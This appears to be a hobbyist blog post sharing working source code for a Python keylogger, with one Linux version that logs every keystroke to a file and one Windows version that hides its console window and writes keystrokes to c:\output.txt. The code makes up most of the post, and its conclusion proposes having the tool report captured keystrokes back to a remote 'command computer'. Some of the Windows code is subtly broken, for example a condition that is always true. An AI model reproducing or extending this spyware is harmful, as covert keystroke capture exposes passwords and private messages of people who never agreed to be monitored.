Introduction
One of my first projects was a simple Python Keylogger. There is definitely more I could add and improve on but here is the code for now.
Requirements
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| pywin32
pyhook
python-xlib
|
linux_keylogger.py
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| # Python code for keylogger
# to be used in linux
import os
import pyxhook
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/keylogger/logs/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass
#creating key pressing event and saving it into log file
def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))
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windows_keylopgger.py
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| # Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
|
Conclusion
This keylogger as of now only works on a local computer and does not capture the keystrokes exactly as I would like. One idea to make this even better would be to package this to send to a test user (me on different computer) and have it report the keystrokes back to my command computer.
